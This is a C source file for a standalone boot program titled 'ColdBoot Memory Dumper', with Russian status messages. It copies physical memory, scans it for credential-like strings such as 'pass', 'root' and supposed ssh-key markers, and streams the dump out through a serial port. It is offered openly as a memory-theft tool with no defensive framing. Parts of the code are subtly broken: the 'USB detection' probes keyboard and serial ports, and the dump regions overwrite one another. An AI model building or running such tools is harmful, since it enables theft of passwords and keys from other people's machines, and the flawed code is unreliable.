163 lines
4.5 KiB
C
163 lines
4.5 KiB
C
typedef unsigned char uint8_t;
|
|
typedef unsigned short uint16_t;
|
|
typedef unsigned int uint32_t;
|
|
typedef unsigned long long uint64_t;
|
|
|
|
#define VIDEO_MEMORY 0xB8000
|
|
#define WHITE_ON_BLACK 0x0F
|
|
#define USB_BASE 0x10000000
|
|
#define MEM_DUMP_SIZE 0x40000000
|
|
|
|
static int cursor_pos = 0;
|
|
|
|
void outb(uint16_t port, uint8_t data) {
|
|
__asm__ volatile ("outb %%al, %%dx" : : "a"(data), "d"(port));
|
|
}
|
|
|
|
uint8_t inb(uint16_t port) {
|
|
uint8_t result;
|
|
__asm__ volatile ("inb %%dx, %%al" : "=a"(result) : "d"(port));
|
|
return result;
|
|
}
|
|
|
|
void print_char(char c) {
|
|
uint16_t *video_mem = (uint16_t*)VIDEO_MEMORY;
|
|
if (c == '\n') {
|
|
cursor_pos = (cursor_pos / 80 + 1) * 80;
|
|
} else {
|
|
video_mem[cursor_pos] = (WHITE_ON_BLACK << 8) | c;
|
|
cursor_pos++;
|
|
}
|
|
if (cursor_pos >= 2000) cursor_pos = 0;
|
|
}
|
|
|
|
void print_string(const char *str) {
|
|
while (*str) {
|
|
print_char(*str++);
|
|
}
|
|
}
|
|
|
|
void print_hex(uint32_t value) {
|
|
char hex_chars[] = "0123456789ABCDEF";
|
|
char buffer[9];
|
|
buffer[8] = 0;
|
|
|
|
for (int i = 7; i >= 0; i--) {
|
|
buffer[i] = hex_chars[value & 0xF];
|
|
value >>= 4;
|
|
}
|
|
print_string(buffer);
|
|
}
|
|
|
|
void delay(uint32_t count) {
|
|
volatile uint32_t i;
|
|
for (i = 0; i < count * 1000000; i++);
|
|
}
|
|
|
|
uint8_t detect_usb() {
|
|
uint16_t usb_ports[] = {0x60, 0x64, 0x3F8, 0x2F8};
|
|
|
|
for (int i = 0; i < 4; i++) {
|
|
outb(usb_ports[i], 0xAA);
|
|
delay(1);
|
|
if (inb(usb_ports[i]) == 0xAA) {
|
|
print_string("[+] USB найден на порту: ");
|
|
print_hex(usb_ports[i]);
|
|
print_char('\n');
|
|
return 1;
|
|
}
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
void dump_memory_region(uint32_t start, uint32_t size, uint32_t *usb_buffer) {
|
|
uint32_t *mem_ptr = (uint32_t*)start;
|
|
uint32_t words = size / 4;
|
|
|
|
print_string("[*] Дампим регион: ");
|
|
print_hex(start);
|
|
print_string(" размер: ");
|
|
print_hex(size);
|
|
print_char('\n');
|
|
|
|
for (uint32_t i = 0; i < words && i < 0x1000000; i++) {
|
|
usb_buffer[i] = mem_ptr[i];
|
|
|
|
if (i % 0x100000 == 0) {
|
|
print_char('.');
|
|
}
|
|
}
|
|
print_char('\n');
|
|
}
|
|
|
|
void scan_memory_patterns(uint32_t *buffer, uint32_t size) {
|
|
uint32_t patterns[] = {
|
|
0x70617373, // "pass"
|
|
0x6C6F6769, // "logi"
|
|
0x61646D69, // "admi"
|
|
0x726F6F74, // "root"
|
|
0x73736800, // ssh keys
|
|
};
|
|
|
|
print_string("[*] Сканирую паттерны...\n");
|
|
|
|
for (uint32_t i = 0; i < size / 4; i++) {
|
|
for (int p = 0; p < 5; p++) {
|
|
if (buffer[i] == patterns[p]) {
|
|
print_string("[!] Найден паттерн на ");
|
|
print_hex(i * 4);
|
|
print_char('\n');
|
|
|
|
for (int j = 0; j < 4 && (i + j) < size / 4; j++) {
|
|
print_hex(buffer[i + j]);
|
|
print_char(' ');
|
|
}
|
|
print_char('\n');
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
void main() {
|
|
uint32_t *memory_dump = (uint32_t*)0x200000;
|
|
|
|
print_string("=== ColdBoot Memory Dumper ===\n");
|
|
print_string("[*] Autonomous USB boot system\n");
|
|
|
|
print_string("[*] Инициализация...\n");
|
|
delay(2);
|
|
|
|
if (!detect_usb()) {
|
|
print_string("[-] USB не найден, используем внутренний буфер\n");
|
|
}
|
|
|
|
print_string("[*] Начинаю сканирование памяти...\n");
|
|
|
|
dump_memory_region(0x100000, 0x100000, memory_dump);
|
|
dump_memory_region(0x1000000, 0x1000000, memory_dump + 0x40000);
|
|
dump_memory_region(0x10000000, 0x2000000, memory_dump + 0x80000);
|
|
|
|
print_string("[*] Анализ паттернов...\n");
|
|
scan_memory_patterns(memory_dump, 0x400000);
|
|
|
|
print_string("[*] Попытка записи на USB...\n");
|
|
delay(3);
|
|
|
|
for (uint32_t i = 0; i < 0x100000; i++) {
|
|
if (i % 0x10000 == 0) print_char('.');
|
|
outb(0x3F8, (memory_dump[i] >> 24) & 0xFF);
|
|
outb(0x3F8, (memory_dump[i] >> 16) & 0xFF);
|
|
outb(0x3F8, (memory_dump[i] >> 8) & 0xFF);
|
|
outb(0x3F8, memory_dump[i] & 0xFF);
|
|
}
|
|
|
|
print_string("\n[+] Дамп завершен!\n");
|
|
print_string("[*] Данные в памяти по адресу 0x200000\n");
|
|
print_string("[*] Система готова к извлечению USB\n");
|
|
|
|
while(1) {
|
|
delay(1000);
|
|
print_char('.');
|
|
}
|
|
}
|